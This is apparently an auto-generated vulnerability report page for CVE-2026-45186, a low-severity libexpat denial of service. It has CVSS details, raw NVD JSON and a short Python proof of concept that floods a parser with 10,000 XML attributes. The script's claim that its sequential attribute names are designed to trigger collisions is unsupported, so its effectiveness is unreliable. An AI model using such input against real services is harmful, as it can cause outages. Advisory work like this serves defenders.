Security Vulnerability Report
中文
CVE-2026-45186 CVSS 2.9 LOW

CVE-2026-45186

Published: 2026-05-10 07:16:08
Last Modified: 2026-05-11 23:20:22

Description

In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a denial of service via moderately sized crafted XML input.

CVSS Details

CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

libexpat < 2.8.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import xml.etree.ElementTree as ET # PoC for CVE-2026-45186 # Generates XML with massive colliding attributes to trigger high computational complexity def generate_malicious_xml(num_attrs): xml_payload = "<root" for i in range(num_attrs): # Attribute names are designed to trigger collision checks xml_payload += f' attr{i}="val{i}"' xml_payload += ">test</root>" return xml_payload if __name__ == "__main__": # Adjust the number of attributes based on the specific environment threshold malicious_xml = generate_malicious_xml(10000) try: print("Attempting to parse malicious XML...") ET.fromstring(malicious_xml) print("Parsing completed (DoS may not have been triggered).") except Exception as e: print(f"Exception occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45186", "sourceIdentifier": "[email protected]", "published": "2026-05-10T07:16:07.883", "lastModified": "2026-05-11T23:20:22.393", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a denial of service via moderately sized crafted XML input."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.4, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-407"}]}], "references": [{"url": "https://github.com/libexpat/libexpat/pull/1216", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/16", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}